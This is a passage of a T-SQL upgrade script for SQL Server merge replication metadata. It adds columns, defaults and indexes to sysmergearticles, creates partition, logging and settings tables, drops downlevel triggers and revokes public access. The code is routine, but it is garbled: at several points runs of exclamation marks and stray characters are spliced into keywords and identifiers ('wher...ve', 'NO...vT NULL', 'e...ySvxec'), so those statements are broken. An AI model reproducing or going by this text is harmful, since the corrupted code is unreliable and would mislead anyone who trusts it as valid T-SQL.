            inner join dbo.sysmergearticles sa
            on so.object_id = sa.objid
            where so.type = 'U' -- table articles only    
        if @@error <> 0 goto error

        -- Add new non-clustered idx on nickname.
        if not exists (select * from sys.indexes where name = 'nc1sysmergearticles')
        begin
            create nonclustered index nc1sysmergearticles on dbo.sysmergearticles(nickname) 
            if @@error <> 0 goto error
        end

        -- Resolver info column datatype change 
        if exists( select * from sys.columns where object_id = object_id('dbo.sysmergearticles') and name = 'resolver_info' )
        begin
            alter table dbo.sysmergearticles alter column resolver_info nvarchar(517) NULL
            if @@error <> 0 goto error
        end

        exec @retcode = sys.sp_MSUpgradeConflictTable
        if @@ERROR<>0 or @retcode<>0
            goto error

        if object_id('MSmerge_delete_conflicts') is not NULL
        begin
            drop table dbo.MSmerge_delete_conflicts
            if @@error <> 0 goto error
        end

        /* Update the columns column sysmergearticles by counting the number of columns int the
           table. 70 did not have vertical partitioning so the columns column is NULL */
        declare articlescurs cursor LOCAL FAST_FORWARD 
        for (select sma.name, sma.objid, sma.pubid from dbo.sysmergearticles sma 
                    where sma.columns is NULL and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        
        for read only
        open articlescurs
        fetch articlescurs into @article, @objid, @pubid
        while(@@fetch_status <> -1)
        begin


            SELECT @cnt = max(column_id), @idx = 1 FROM sys.columns WHERE object_id = @objid 
            SELECT @columns = NULL
            WHILE @idx <= @cnt
            BEGIN
                /* to make sure column holes will not be included */
                if exists (select * from sys.columns wher!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>ve column_id=@idx and object_id=@objid and 
                    (is_computed<>1 and system_type_id <> type_id('timestamp')))
                begin
                    exec sys.sp_MSsetbit @bm=@columns OUTPUT, @coltoadd=@idx, @toset = 1
                    if @@ERROR<>0 or @retcode<>0
                    begin
                        close articlescurs
                        deallocate articlescurs
                        goto error
                    end

                end
                SELECT @idx = @idx + 1
            END
            UPDATE dbo.sysmergearticles SET columns = @columns WHERE name = @article AND pubid = @pubid

            fetch articlescurs into @article, @objid, @pubid
        end

        close articlescurs
        deallocate articlescurs

        if @@error <> 0 goto error

        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergearticles') and
                            name = 'excluded_col_count')
        begin
            -- make sure 7.5's column bit map does not get messed up.
            if exists (select * from dbo.sysmergearticles)
            begin
            -- enough to hold 246 columns in one table - after upgrade all columns are in partition 
            -- as in sphinx there is no way to kick any of them out.
            -- in case a publication exists in downlevel subscriber without having ran snapshot.
            -- missing_col_count would be NULL, which can cause problems when being upgraded to
            -- latest version. 
                update dbo.sysmergearticles set missing_col_count=0,missing_cols=0x00 where missing_col_count is NULL
                if @@error <> 0 goto error
            end

            alter table dbo.sysmergearticles add excluded_col_count int NULL
            if @@error <> 0 goto error
        end

        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'gen_cur', col_type = 'bigint NULL'-- Current generation for new generation assignment added in SQL7.0 SP1
                                                             union all
                                                             select col_name = 'excluded_cols', col_type = 'varbinary(128) NULL'-- Vertical Partitioning (Shiloh)
                                                             union all
                                                             select col_name = 'vertical_partition', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'identity_support', col_type = 'int default 0 NOT NULL '-- Auto identity management (Shiloh)
                                                             union all
                                                             select col_name = 'destination_owner', col_type = 'sysname default ''dbo'' not NULL'-- Destination owner support (Shiloh)
                                                             union all
                                                             select col_name = 'verify_resolver_signature', col_type = 'int NULL default 1'-- Resolver certificate support (Shiloh)
                                                             union all
                                                             select col_name = 'allow_interactive_resolver', col_type = 'bit NOT NULL default 0'-- Interactive resolver (Shiloh)
                                                             union all
                                                             select col_name = 'published_in_tran_pub', col_type = 'bit NOT NULL default 0'
                                                             union all
                                                             select col_name = 'fast_multicol_updateproc', col_type = 'bit NOT NULL default 0'-- Whether update proc should do one update per column or multiple columns in one update (Shiloh)
                                                             union all
                                                             select col_name = 'check_permissions', col_type = 'int NOT NULL default 0'
                                                             union all
                                                             select col_name = 'processing_order', col_type = 'int NOT NULL default 0'
                                                             union all
                                                             select col_name = 'maxversion_at_cleanup', col_type = 'int not null default 1'
                                                             union all
                                                             select col_name = 'upload_options', col_type = 'tinyint not null default 0'
                                                             union all
                                                             select col_name = 'procname_postfix', col_type = 'nchar(32) null'
                                                             union all
                                                             select col_name = 'well_partitioned_lightweight', col_type = 'bit null'
                                                             union all
                                                             select col_name = 'delete_tracking', col_type = 'bit not null default 1'
                                                             union all
                                                             select col_name = 'compensate_for_errors', col_type = 'bit not null default 0'
                                                             union all
                                                             select col_name = 'pub_range', col_type = 'bigint null'
                                                             union all
                                                             select col_name = 'range', col_type = 'bigint NULL'
                                                             union all
                                                             select col_name = 'threshold', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'stream_blob_columns', col_type = 'bit not NULL default 0'
                                                             union all
                                                             select col_name = 'deleted_cols', col_type = 'varbinary(128) NULL default 0x0'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.sysmergearticles', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
			select @alter_cmd = 'alter table dbo.sysmergearticles add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
		    exec (@alter_cmd)
            if @@error <> 0 goto error
        end
        close colcurs
        deallocate colcurs

		-- add default constraint on verify_resolver_signature column
		if not exists(
		select * 
        from sysconstraints as con join sys.columns as col 
            on con.colid = col.column_id
                and con.id = col.object_id
      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(`Vv          and OBJECTPROPERTY ( con.constid , 'IsDefaultCnst' ) = 1 
                and col.object_id = object_id('dbo.sysmergearticles')
                and col.name = 'verify_resolver_signature')and exists 
				(select * from sys.columns where object_id = object_id('dbo.sysmergearticles') and name = 'verify_resolver_signature')
		begin
			exec('alter table dbo.sysmergearticles add default 1 for verify_resolver_signature')  
			if @@error <> 0 goto error	
		end

		
		-- change default constraint on compensate_for_errors column to be 0 and also update all values for this column to be 0
		-- we think that compensate_for_errors=1 (sql2k default)is not very usefull and can cause more harm then good.
		if exists(select * from sys.columns where object_id = object_id('dbo.sysmergearticles') and name = 'compensate_for_errors')
		begin
			declare @default_compensate_for_errors_constraint_name nvarchar(258)
			select @default_compensate_for_errors_constraint_name = obj.name 
			from sysconstraints as con join sys.columns as col 
				on con.colid = col.column_id 
					and con.id = col.object_id
					and OBJECTPROPERTY ( con.constid , 'IsDefaultCnst' ) = 1 
					and col.object_id = object_id('dbo.sysmergearticles')
					and col.name = 'compensate_for_errors'
					join sys.objects as obj
					on obj.object_id=con.constid

			if(@default_compensate_for_errors_constraint_name is not  null)
			begin
				select @default_compensate_for_errors_constraint_name = quotename(@default_compensate_for_errors_constraint_name)
				exec ('alter table dbo.sysmergearticles  drop constraint ' + @default_compensate_for_errors_constraint_name)
				if @@error <> 0 goto error
			end			
			exec('alter table dbo.sysmergearticles add default 0 for compensate_for_errors')  
			if @@error <> 0 goto error
			exec('update dbo.sysmergearticles set compensate_for_errors = 0 ')			
			if @@error <> 0 goto error
		end

        -- gen_cur is int in SQL8 and earlier, bigint in SQL9
        if 56 = (select system_type_id from sys.columns where 
                        object_id = object_id('dbo.sysmergearticles') and name = 'gen_cur')
        begin
            alter table dbo.sysmergearticles alter column gen_cur bigint null
            if @@error <> 0 goto error
        end
        
        -- Set default value of column destination_owner if NULL - could happen if first upgraded
        -- from 7.0 to Beta 2, which does not have the default value and then to 80 RTM.

        -- Destination owner support (Shiloh)
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergearticles') and
                        name = 'destination_owner')
        begin
            exec ('update dbo.sysmergearticles set destination_owner=''dbo'' where destination_owner is NULL')
            if @@error <> 0 goto error
        end
        
        if not exists (select * from sys.indexes where name = 'nc2sysmergearticles')
        begin
            create nonclustered index nc2sysmergearticles on sysmergearticles(processing_order) 
            if @@error <> 0 goto error
        end
        
        if not exists (select * from sys.indexes where name = 'nc3sysmergearticles')
        begin
            create unique nonclustered index nc3sysmergearticles on dbo.sysmergearticles(objid, pubid) 
            if @@ERROR <> 0    goto error
        end
        --
        -- add default for compensate_for_errors
        --
        if not exists (select dc.name 
                        from sys.default_constraints as dc 
                            join sys.columns as c
                                on dc.parent_object_id = c.object_id
                                    and dc.parent_column_id = c.column_id
                        where c.object_id = object_id(N'dbo.sysmergearticles')
                            and c.name = N'compensate_for_errors')
        begin
            alter table dbo.sysmergearticles add default 0 for compensate_for_errors
        end
        --
        -- add default for excluded_col_count
        --
        if not exists (select dc.name 
                        from sys.default_constraints as dc 
                            join sys.columns as c
                                on dc.parent_object_id = c.object_id
                                    and dc.parent_column_id = c.column_id
                        where c.object_id = object_id(N'dbo.sysmergearticles')
                            and c.name = N'excluded_col_count')
        begin
            alter table dbo.sysmergearticles add default 0 for excluded_col_count
        end
        --
        -- add default for vertical_partition
        --
        if not exists (select dc.name 
                        from sys.default_constraints as dc 
                            join sys.columns as c
                                on dc.parent_object_id = c.object_id
                                    and dc.parent_column_id = c.column_id
                        where c.object_id = object_id(N'dbo.sysmergearticles')
                            and c.name = N'vertical_partition')
        begin
            alter table dbo.sysmergearticles add default 0 for vertical_partition
        end
        --
        -- remove the default for column destination_owner
        --
        select @column_name = NULL
        select @column_name = dc.name 
        from sys.default_constraints as dc 
            join sys.columns as c
                on dc.parent_object_id = c.object_id
                    and dc.parent_column_id = c.column_id
        where c.object_id = object_id('dbo.sysmergearticles')
            and c.name = N'destination_owner'
        if (@column_name is not null)
        begin
            select @alter_cmd = N'alter table dbo.sysmergearticles drop constraint ' + quotename(@column_name)
            exec(@alter_cmd)
            if @@error <> 0 
                return 1
        end

        -- this table exists at publisher and subscriber dbs
        if object_id('MSmerge_identity_range') is NULL
        begin
            create table dbo.MSmerge_identity_range (
                subid               uniqueidentifier not NULL,
                artid               uniqueidentifier not NULL,
                range_begin         numeric(38,0) NULL,
                range_end           numeric(38,0) NULL,
                next_range_begin    numeric(38,0) NULL,
                next_range_end      numeric(38,0) NULL,
                is_pub_range        bit not NULL,
                max_used            numeric(38,0) NULL
            )
            if @@error <> 0 goto error
            
            exec dbo.sp_MS_marksystemobject MSmerge_identity_range
            if @@error <> 0 goto error
            
            create unique clustered index uclidrange on MSmerge_identity_range(subid, artid, is_pub_range)
            if @@error <> 0 goto error
        end

        if object_id('MSmerge_settingshistory') is NULL
        begin
            --raiserror('Creating table MSmerge_settingshistory',0,1)

            --This table records the history of when merge related settings
            --were changed. It can also bo used to record important events
            --that affect behavior of merge replication.

            --eventtype can have one of the following values
            --  1   Initial publication level property setting.
            --  2   Change in publication property.
            --  101 Initial article level property setting.
            --  102 Change in article property.
            --  In future add publication related event below 100 and
            --  article related events about 100 to make searching easier

            create table dbo.MSmerge_settingshistory
            (
                eventtime        datetime           null default getdate(),
                pubid            uniqueidentifier    NO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vT NULL,
                artid           uniqueidentifier    NULL,
                eventtype         tinyint                NOT NULL,
                propertyname    sysname             NULL,
                   previousvalue   sysname             NULL,
                newvalue        sysname             NULL,
                eventtext        nvarchar(2000)         NULL    
            )
                    
            if @@error <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_settingshistory
            if @@error <> 0 goto error

            create clustered index c1MSmerge_settingshistory on MSmerge_settingshistory(pubid,eventtype) 
            if @@error <> 0 goto error

        end
        else
        begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_settingshistory') and name = N'eventtime' and is_nullable = 0)
        	alter table dbo.MSmerge_settingshistory alter column eventtime datetime           null 
        end

        if object_id('sysmergepartitioninfo') is NULL
        begin
            create table dbo.sysmergepartitioninfo 
            (
                artid                           uniqueidentifier     NOT NULL,
                pubid                           uniqueidentifier     NOT NULL,
                partition_view_id               int                  NULL,
                repl_view_id                    int                  NULL,
                partition_deleted_view_rule     nvarchar(max)        NULL,
                partition_inserted_view_rule    nvarchar(max)        NULL,
                membership_eval_proc_name       sysname              NULL,
                column_list                     nvarchar(max)        NULL,
                column_list_blob                nvarchar(max)        NULL,
                expand_proc                     sysname              NULL,
                logical_record_parent_nickname  int                  NULL,
                logical_record_view             int                  NULL,
                logical_record_deleted_view_rule nvarchar(max)       NULL,
                logical_record_level_conflict_detection bit       null   default 0,
                logical_record_level_conflict_resolution bit      null   default 0,
                partition_options               tinyint        null      default 0
            )
            if @@error <> 0 goto error
            
            create unique clustered index uc1sysmergepartitioninfo
                on dbo.sysmergepartitioninfo(artid, pubid) 
            if @@error <> 0 goto error
            
            exec dbo.sp_MS_marksystemobject sysmergepartitioninfo
            if @@error <> 0 goto error

            -- we need to insert a row for every article in sysmergearticles into sysmergepartitioninfo
            insert dbo.sysmergepartitioninfo (artid, pubid)
                select artid, pubid from dbo.sysmergearticles
            if @@error <> 0 goto error
            
        end
        else
        begin
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepartitioninfo') and name = N'logical_record_level_conflict_detection' and is_nullable = 0)
        	alter table dbo.sysmergepartitioninfo alter column logical_record_level_conflict_detection bit null
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepartitioninfo') and name = N'logical_record_level_conflict_resolution' and is_nullable = 0)
        	alter table dbo.sysmergepartitioninfo alter column logical_record_level_conflict_resolution bit null
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepartitioninfo') and name = N'partition_options' and is_nullable = 0)
        	alter table dbo.sysmergepartitioninfo alter column partition_options tinyint null
        end

        if object_id('sysmergepartitioninfoview') is not NULL
        begin
            drop view dbo.sysmergepartitioninfoview
        end
        
        exec ('create view dbo.sysmergepartitioninfoview as
            select sma.*, smaw.partition_view_id, 
                smaw.repl_view_id,
                smaw.partition_deleted_view_rule,
                smaw.partition_inserted_view_rule,
                smaw.membership_eval_proc_name,
                smaw.column_list,
                smaw.column_list_blob,
                smaw.expand_proc,
                smaw.logical_record_parent_nickname,
                smaw.logical_record_view,
                smaw.logical_record_deleted_view_rule,
                smaw.logical_record_level_conflict_detection,
                smaw.logical_record_level_conflict_resolution,
                smaw.partition_options
           from dbo.sysmergearticles sma, dbo.sysmergepartitioninfo smaw
           where sma.artid = smaw.artid and sma.pubid = smaw.pubid')            
        if @@error <> 0 goto error

        exec dbo.sp_MS_marksystemobject sysmergepartitioninfoview
        if @@error <> 0 goto error

        -- Schema only articles (Shiloh)
        if object_id('dbo.sysmergeschemaarticles', 'U') is null
        begin
            exec @retcode= sys.sp_MScreate_sysmergeschemaarticles_table
            if @@error <> 0 or @retcode <> 0 goto error
        end
        else
        begin
            if not exists (select * from sys.columns where object_id = object_id('sysmergeschemaarticles') and
                        name = 'processing_order')
            begin
                alter table sysmergeschemaarticles add processing_order int NOT NULL default 0
                if @@error <> 0 goto error
            end
        end

        -- create view now that sysmergearticles is altered and sysmergeextendedarticles is created
        if object_id('sysmergeextendedarticlesview') is not NULL
        begin
            drop view dbo.sysmergeextendedarticlesview
        end    

        -- cannot create view directly in proc
        exec @retcode= sys.sp_MScreate_sysmergeextendedarticlesview
        if @@error<>0 or @retcode<>0 goto error

        exec dbo.sp_MS_marksystemobject sysmergeextendedarticlesview

        -- vertical partitioning requires a view based sync obj; SQL7.0 used zero as sync_objid
        -- when a non-partitioned article was created; later versions must use the explicit base table
        -- as sync_objid; fixup article sync_objid's prior to remaking the article procs (Shiloh)
        update dbo.sysmergearticles set sync_objid = objid where sync_objid = 0

        -- Do not regenerate views, procs if this is called from sp_restoredbreplication. Restore only
        -- needs to update schema, then it can call existing system procs to remove db replication cleanly
        if @remove_repl = 0
        begin
            -- when upgrading to yukon we have a huge amount of metadata upgrade to do. We do not want to 
            -- do this as part of the upgrade or restore process. We want the subsequent merge or snapshot to
            -- take care of it. Hence here we will drop all triggers on publisher tables and create triggers
            -- which do not allow the DML to happen. When the snapshot or merge has been run valid triggers will
            -- be created and change tracking with work fine after the metadata has been upgraded.
            select @artnick = min(nickname) from dbo.sysmergearticles
            while @artnick is not null
            begin
                select @objid = NULL
                select @source_object = NULL
                select top 1 @objid = objid, @artid = artid from dbo.sysmergearticles where nickname = @artnick
                select @source_owner = schema_name(schema_id), @source_object = name from sys.objects where object_id = @objid
                if @objid is NULL or @source_object is NULL
                    goto error
                    
                e!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ySvxec @retcode = sys.sp_MSdroparticletriggers @source_object, @source_owner
                if @retcode<>0 or @@error<>0
                    goto error
            
                -- generate the disable dml trigger
                exec sys.sp_MScreatedisabledmltrigger @source_object, @source_owner
                if @retcode<>0 or @@error<>0
                    goto error

                -- set the article status to inactive so that the subsequent snapshot prepares the article
                update dbo.sysmergearticles set status = 1 where artid = @artid and status = 2
                update dbo.sysmergearticles set status = 5 where artid = @artid and status = 6

                -- find next article
                select @artnick = min(nickname) from dbo.sysmergearticles where nickname > @artnick
            end -- end article while
        end -- end @remove_repl

        -- MSmerge_errorlineage (Shiloh)
        if object_id('MSmerge_errorlineage') is NULL
        begin
            create table dbo.MSmerge_errorlineage (
            tablenick          int NOT NULL,
            rowguid            uniqueidentifier NOT NULL,
            lineage            varbinary(311) null
            )
            exec dbo.sp_MS_marksystemobject MSmerge_errorlineage
            if @@ERROR <> 0
                goto error
                
            create unique clustered index uc1errorlineage on MSmerge_errorlineage(tablenick, rowguid)
            if @@ERROR <> 0
                goto error
        end
        else
        begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_errorlineage') and name = N'lineage' and is_nullable = 0)
        	alter table dbo.MSmerge_errorlineage alter column lineage varbinary(311) null
        end

        -- lineage is varbinary(255) in Shiloh and before, varbinary(311) in Yukon and after
        -- in addition, the format has changed from 4 to 6 byte nicknames, and there are new mergenicks
        if 311 > col_length('MSmerge_errorlineage', 'lineage')
        begin
            begin tran
            save tran tran_errlin80to90
                alter table dbo.MSmerge_errorlineage alter column lineage varbinary(311) not null
                if @@error<>0 goto err_errlin80to90
                update dbo.MSmerge_errorlineage set lineage= {fn LINEAGE_80_TO_90(lineage)}
                if @@error<>0 goto err_errlin80to90
            commit tran
            goto after_errlin80to90

            err_errlin80to90:
            rollback tran tran_errlin80to90
            commit tran
            goto error
        end

        after_errlin80to90:
            
        -- MSmerge_altsyncpartners (Shiloh)
        if object_id('MSmerge_altsyncpartners') is NULL
        begin
            create table dbo.MSmerge_altsyncpartners (
                subid           uniqueidentifier    not null,
                alternate_subid uniqueidentifier    not null,
                description     nvarchar(255)       NULL
            )
            if @@ERROR <> 0
                goto error

            exec dbo.sp_MS_marksystemobject MSmerge_altsyncpartners
            if @@ERROR <> 0
                goto error

            create unique clustered index uciMSmerge_altsyncpartners on 
                dbo.MSmerge_altsyncpartners(subid, alternate_subid)            
            if @@ERROR <> 0
                goto error
        end

        -- new tables added for the first time after SQL2000.
        if object_id('MSmerge_partition_groups') is NULL
        begin
            create table dbo.MSmerge_partition_groups (partition_id int identity not null primary key clustered, 
            					publication_number smallint not null, maxgen_whenadded bigint null, 
            					using_partition_groups bit null default 0, is_partition_active bit default 1 not null)
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_partition_groups
            if @@ERROR <> 0 goto error

            create nonclustered index nc1MSmerge_partition_groups on dbo.MSmerge_partition_groups (publication_number)
            if @@ERROR <> 0 goto error

            grant select on dbo.MSmerge_partition_groups to public    
        end
        else
        begin
            -- Column is_partition_active was added after IDW15 for SQL 2005
            if not exists (select * from sys.columns where object_id = object_id('MSmerge_partition_groups') and
                        name = 'is_partition_active')
            begin
                alter table MSmerge_partition_groups add is_partition_active bit default 1 not null
                if @@error <> 0 goto error
            end            
            
	        if exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_partition_groups') and name = N'using_partition_groups' and is_nullable = 0)
	        	alter table dbo.MSmerge_partition_groups alter column using_partition_groups bit null
        end

        if object_id('MSmerge_generation_partition_mappings') is NULL
        begin
            create table dbo.MSmerge_generation_partition_mappings 
                (
                publication_number smallint not null, 
                generation bigint not null, 
                partition_id int not null,
                changecount int NOT NULL default 0
                )
            if @@ERROR <> 0 goto error
            
            exec dbo.sp_MS_marksystemobject MSmerge_generation_partition_mappings
            if @@ERROR <> 0 goto error

            create clustered index cMSmerge_generation_partition_mappings on dbo.MSmerge_generation_partition_mappings (partition_id, publication_number)
            if @@ERROR <> 0 goto error

            create nonclustered index nc1MSmerge_generation_partition_mappings on dbo.MSmerge_generation_partition_mappings (generation) include (changecount)
            if @@ERROR <> 0 goto error
        end

        if object_id('MSmerge_current_partition_mappings') is NULL
        begin
            create table dbo.MSmerge_current_partition_mappings (publication_number smallint not null, tablenick int not null, rowguid uniqueidentifier not null, partition_id int not null)
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_current_partition_mappings
            if @@ERROR <> 0 goto error

            create clustered index cMSmerge_current_partition_mappings on dbo.MSmerge_current_partition_mappings (tablenick, rowguid)
            if @@ERROR <> 0
                goto error

            create nonclustered index ncMSmerge_current_partition_mappings on dbo.MSmerge_current_partition_mappings (publication_number, partition_id)
            if @@ERROR <> 0
                goto error
            
        end

        if object_id('MSmerge_past_partition_mappings') is NULL
        begin
            create table dbo.MSmerge_past_partition_mappings (publication_number smallint not null, tablenick int not null, rowguid uniqueidentifier not null, partition_id int not null, generation bigint null, reason tinyint not null default(0))
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_past_partition_mappings
            if @@ERROR <> 0 goto error

            create clustered index cMSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (tablenick, rowguid)
            if @@ERROR <> 0
                goto error

            create nonclustered index nc1MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (publication_number, partition_id)
            if @@ERROR <> 0
                goto error
                
            create nonclustered index nc2MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (generation)
            if @@ERROR <> 0
                goto error
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(!+MÝv      end
        
        if object_id('MSmerge_dynamic_snapshots') is NULL
        begin
            create table dbo.MSmerge_dynamic_snapshots (
                    partition_id int not null primary key clustered foreign key references dbo.MSmerge_partition_groups(partition_id) on delete cascade, 
                    dynamic_snapshot_location nvarchar(255) null, 
                    last_updated datetime null,
                    last_started datetime null)
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_dynamic_snapshots            
            if @@ERROR <> 0 goto error
        end
        else
        begin
			if not exists (select * from sys.columns where object_id = object_id('MSmerge_dynamic_snapshots') and
                        name = 'last_started')
            begin
                alter table MSmerge_dynamic_snapshots add last_started datetime NULL
                if @@error <> 0 goto error
            end
        end

        -- Added in Yukon
        if object_id('MSmerge_supportability_settings') is NULL
        begin
            create table dbo.MSmerge_supportability_settings (
                    pubid                uniqueidentifier    NULL,
                    subid                uniqueidentifier    NULL,
                    web_server           sysname             NULL,                
                    constraint           unique_supportpubsrvdb     unique nonclustered (pubid, subid, web_server),
                    support_options      int NOT NULL default(0),    -- check the SUPPORT_OPTIONS enum in agent code.
                    log_severity         int NOT NULL default(2),
                    log_modules          int NOT NULL default(0),
                    log_file_path        nvarchar(255) NULL,
                    log_file_name        sysname NULL,
                    log_file_size        int NOT NULL default(10000000),
                    no_of_log_files      int NOT NULL default(5),
                    upload_interval      int NOT NULL default(0),
                    delete_after_upload  int NOT NULL default(0),                    
                    custom_script        nvarchar(2048) NULL,
                    message_pattern      nvarchar(2000) NULL,
                    last_log_upload_time datetime            NULL,
                    agent_xe               varbinary(max) NULL,
                    agent_xe_ring_buffer  varbinary(max) NULL,
                    sql_xe                   varbinary(max) NULL
                    )
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_supportability_settings            
        end
        else
        begin
            -- Column agent_xe  was added for SQL 11
            if not exists (select * from sys.columns where object_id = object_id('MSmerge_supportability_settings') and
                        name = 'agent_xe')
            begin
                alter table MSmerge_supportability_settings add agent_xe varbinary(max)
                if @@ERROR <> 0 goto error
            end            
            
            -- Column agent_xe_ring_buffer  was added for SQL 11
            if not exists (select * from sys.columns where object_id = object_id('MSmerge_supportability_settings') and
                        name = 'agent_xe_ring_buffer')
            begin
                alter table MSmerge_supportability_settings add agent_xe_ring_buffer varbinary(max)
                if @@ERROR <> 0 goto error
            end           

            -- Column sql_xe  was added for SQL 11
            if not exists (select * from sys.columns where object_id = object_id('MSmerge_supportability_settings') and
                        name = 'sql_xe')
            begin
                alter table MSmerge_supportability_settings add sql_xe varbinary(max)
                if @@ERROR <> 0 goto error
            end            

        end
        
        -- Added in Yukon
        if object_id('MSmerge_log_files') is NULL
        begin
            create table dbo.MSmerge_log_files (
                    id                   int identity(1,1),
                    pubid                uniqueidentifier    NULL,
                    subid                uniqueidentifier    NULL,
                    web_server           sysname             NULL,
                    file_name            nvarchar(2000)      NOT NULL,
                    upload_time          datetime              NOT NULL default getdate(),
                    log_file_type        int                 NOT NULL, -- Check UPLOAD_LOG_FILE_TYPE enum in agent code.
                    log_file             varbinary(max)      NULL
                    )
            if @@ERROR <> 0 goto error

            create clustered index ucMSmerge_log_files on MSmerge_log_files(pubid, subid, id) 
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_log_files            
        end

        -- Added in Yukon
        if object_id('dbo.MSmerge_metadataaction_request', 'U') is null
        begin
            create table dbo.MSmerge_metadataaction_request
            (
                tablenick int not null,
                rowguid uniqueidentifier not null,
                action tinyint not null,
                generation bigint null, -- for hws cleanup
                changed int null -- for lws cleanup
            )
            if @@ERROR <> 0 goto error

            create clustered index ucMSmerge_metadataaction_request on MSmerge_metadataaction_request(tablenick, rowguid) 
            if @@ERROR <> 0 goto error

            exec dbo.sp_MS_marksystemobject MSmerge_metadataaction_request
            if @@ERROR <> 0 goto error
        end

        -- Added in Yukon
        if object_id('dbo.MSmerge_agent_parameters', 'U') is null
        begin
            --raiserror('Creating table MSmerge_agent_parameters',0,1)
            
            create table dbo.MSmerge_agent_parameters
            (
            profile_name         sysname        NOT NULL,
            parameter_name       sysname        NOT NULL,
            value                nvarchar(255)  NOT NULL
            )
        
            if @@ERROR <> 0
                goto error

            exec dbo.sp_MS_marksystemobject MSmerge_agent_parameters
            if @@ERROR <> 0
                goto error        
        end

        -- we will now set the snapshot_ready status of all local publications. We invalidate the snapshot
        -- so that the metadata upgrade can be run at snapshot time.
        update dbo.sysmergepublications set snapshot_ready=2 
            where UPPER(publisher) collate database_default = UPPER(publishingservername()) collate database_default and publisher_db = db_name()
        
        -- revoke select access to public on table which were previously granted to public
        if object_id('dbo.sysmergepublications') is not NULL
            revoke select on dbo.sysmergepublications from public
            
        if object_id('dbo.MSmerge_errorlineage') is not NULL
            revoke select on dbo.MSmerge_errorlineage from public
            
        if object_id('dbo.sysmergearticles') is not NULL
        begin
            revoke select on dbo.sysmergearticles from public
            grant select(nickname, maxversion_at_cleanup, objid) on dbo.sysmergearticles to public
        end
        
        if object_id('dbo.sysmergesubscriptions') is not NULL
            revoke select on dbo.sysmergesubscriptions from public
            
        if object_id('dbo.MSmerge_replinfo') is not NULL
            revoke select on dbo.MSmerge_replinfo from public

        if object_id('dbo.MSmerge_tombstone') is not NULL
            revoke select on dbo.MSmerge_tombstone from public
            
        if object_id('dbo.MSmerge!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<((ORAv_contents') is not NULL
            revoke select on dbo.MSmerge_contents from public
        
        if object_id('dbo.MSmerge_genhistory') is not NULL
            revoke select on dbo.MSmerge_genhistory from public
        
        if object_id('dbo.sysmergeschemachange') is not NULL
            revoke select on dbo.sysmergeschemachange from public
        
        if object_id('dbo.sysmergesubsetfilters') is not NULL
            revoke select on dbo.sysmergesubsetfilters from public

    end -- end dbo.sysmergearticles modifications

    if object_id('sysmergearticles') is not NULL
    begin
        -- always drop down level triggers since in yukon the triggers are named differently
        if exists (select * from dbo.sysmergearticles)
        begin
            declare @artidstr sysname
            declare @instrigger nvarchar(517)
            declare @updtrigger nvarchar(517)
            declare @deltrigger nvarchar(517)
            
            select @artnick = min(nickname) from dbo.sysmergearticles
            while @artnick is not null
            begin
                select @objid = NULL
                select @source_object = NULL
                select top 1 @objid = objid, @artid = artid from dbo.sysmergearticles where nickname = @artnick
                select @source_owner = schema_name(schema_id), @source_object = name from sys.objects where object_id = @objid
                if @objid is NULL or @source_object is NULL
                    goto error

                exec @retcode=sys.sp_MSguidtostr @artid, @artidstr out
                if @retcode<>0 or @@ERROR<>0 
                    goto error
                    
                -- the following are downlevel trigger names
                select @instrigger = QUOTENAME(@source_owner) + '.ins_' + @artidstr
                select @updtrigger = QUOTENAME(@source_owner) + '.upd_' + @artidstr
                select @deltrigger = QUOTENAME(@source_owner) + '.del_' + @artidstr
                if object_id(@instrigger) is not NULL
                begin
                    exec ('drop trigger ' + @instrigger)
                    if @@ERROR<>0 return (1)
                end
                if object_id(@updtrigger) is not NULL
                begin
                    exec ('drop trigger ' + @updtrigger)
                    if @@ERROR<>0 return (1)
                end
                if object_id(@deltrigger) IS NOT NULL
                begin
                    exec ('drop trigger ' + @deltrigger)
                    if @@ERROR<>0 return (1)
                end
                
                -- find next article
                select @artnick = min(nickname) from dbo.sysmergearticles where nickname > @artnick
            end -- end article while
        end
    end
    
    

    
    /* Merge dynamic snapshot */

    /* Make sure that the database is enabled for merge replication before MSdynamicsnapshotviews is created */
    if @remove_repl = 0 and object_id('sysmergepublications') is not NULL
    begin

        /*
